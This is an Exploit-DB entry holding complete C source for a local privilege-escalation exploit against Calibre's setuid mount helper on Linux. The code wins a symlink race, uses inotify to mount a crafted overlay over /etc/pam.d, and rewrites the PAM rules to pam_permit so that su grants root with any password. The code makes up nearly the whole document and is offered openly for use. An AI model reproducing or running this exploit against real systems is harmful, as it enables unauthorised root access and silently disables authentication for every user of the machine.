Exploit-DB #18086
Description: Calibre E-Book Reader - Local Privilege Escalation (3)
Type: local
Platform: linux
Date: 2011-11-05
Author: zx2c4

Exploit:
/*
 * ########################################################
 * #               .80 Calibrer Assault Mount             #
 * #                         by zx2c4                     #
 * ########################################################
 * 
 * Yesterday's assult mount used inotify to mount into /etc/pam.d. Today we
 * expand the attack by adding a race toggler so we can mount from non-block
 * devices.
 * 
 * Enjoy.
 * 
 * - zx2c4
 * 2011-11-4
 * 
 * greets to djrbliss
 * 
 */


#include <stdio.h>
#include <sys/inotify.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>

int main(int argc, char **argv)
{
	printf("########################################################\n");
	printf("#               .80 Calibrer Assault Mount             #\n");
	printf("#                         by zx2c4                     #\n");
 	printf("########################################################\n\n");
	
	
	printf("[+] Cleaning up old cruft.\n");
	unlink("/dev/shm/overlay");
	system("calibre-mount-helper cleanup /dev/ram0 /media/staging/");
	
	printf("[+] Creating overlay container.\n");
	system("dd if=/dev/zero of=/dev/shm/overlay count=25600");
	system("/usr/sbin/mkfs.ntfs /dev/shm/overlay");
	
	printf("[+] Mounting staging using race condition toggler...\n");
	int childpid = fork();
	if (childpid) {
		int ret;
		while ((ret = system("calibre-mount-helper mount /dev/shm/overlay /media/staging/ 2>&1")) == 256 || ret == 8192);
		kill(childpid, SIGKILL);
	} else {
		while (1) {
			rename("/dev/shm/overlay", "/dev/shm/overlay-holder");
			symlink("/dev/ram0", "/dev/shm/overlay");
			unlink("/dev/shm/overlay");
			rename("/dev/shm/overlay-holder", "/dev/shm/overlay");
		}
		return 0;
	}
	
	printf("[+] Preparing overlay with /etc/pam.d modification:\n");
	system("cp -v /etc/pam.d/* /media/staging/");
	system("sed -i \"s/pam_deny.so/pam_permit.so/g\" /media/staging/common-auth");
	system("sed -i \"s/pam_cracklib.so.*/pam_permit.so/g\" /media/staging/system-auth");
	system("sed -i \"s/pam_unix.so.*/pam_permit.so/g\" /media/staging/system-auth");
	
		
	printf("[+] Mounting overlay over /etc/pam.d using race condition toggler and inotify...\n");
	childpid = fork();
	if (childpid) {
		int childpid2 = fork();
		if (childpid2) {
			int ret;
			while ((ret = system("calibre-mount-helper mount /dev/shm/overlay /etc/pam.d/ 2>&1")) == 256 || ret == 8192);
			kill(childpid, SIGKILL);
			kill(childpid2, SIGKILL);
		} else {
			while (1) {
				int fd;
				fd = inotify_init();
				unlink("/media/staging/fake");
				mkdir("/media/staging/fake");
				inotify_add_watch(fd, "/media/staging/fake", IN_CREATE);
				read(fd, 0, 0);
				rename("/media/staging/fake", "/media/staging/tmp");
				symlink("/etc/pam.d", "/media/staging/fake");
				rmdir("/media/staging/tmp");
				close(fd);
			}
		}
	} else {
		while (1) {
			rename("/dev/shm/overlay", "/dev/shm/overlay-holder");
			symlink("/dev/ram0", "/dev/shm/overlay");
			unlink("/dev/shm/overlay");
			rename("/dev/shm/overlay-holder", "/dev/shm/overlay");
		}
		return 0;
	}
	
	printf("[+] Asking for root. When prompted for a password, type anything and press enter.\n");
	system("su");
	
	return 0;
}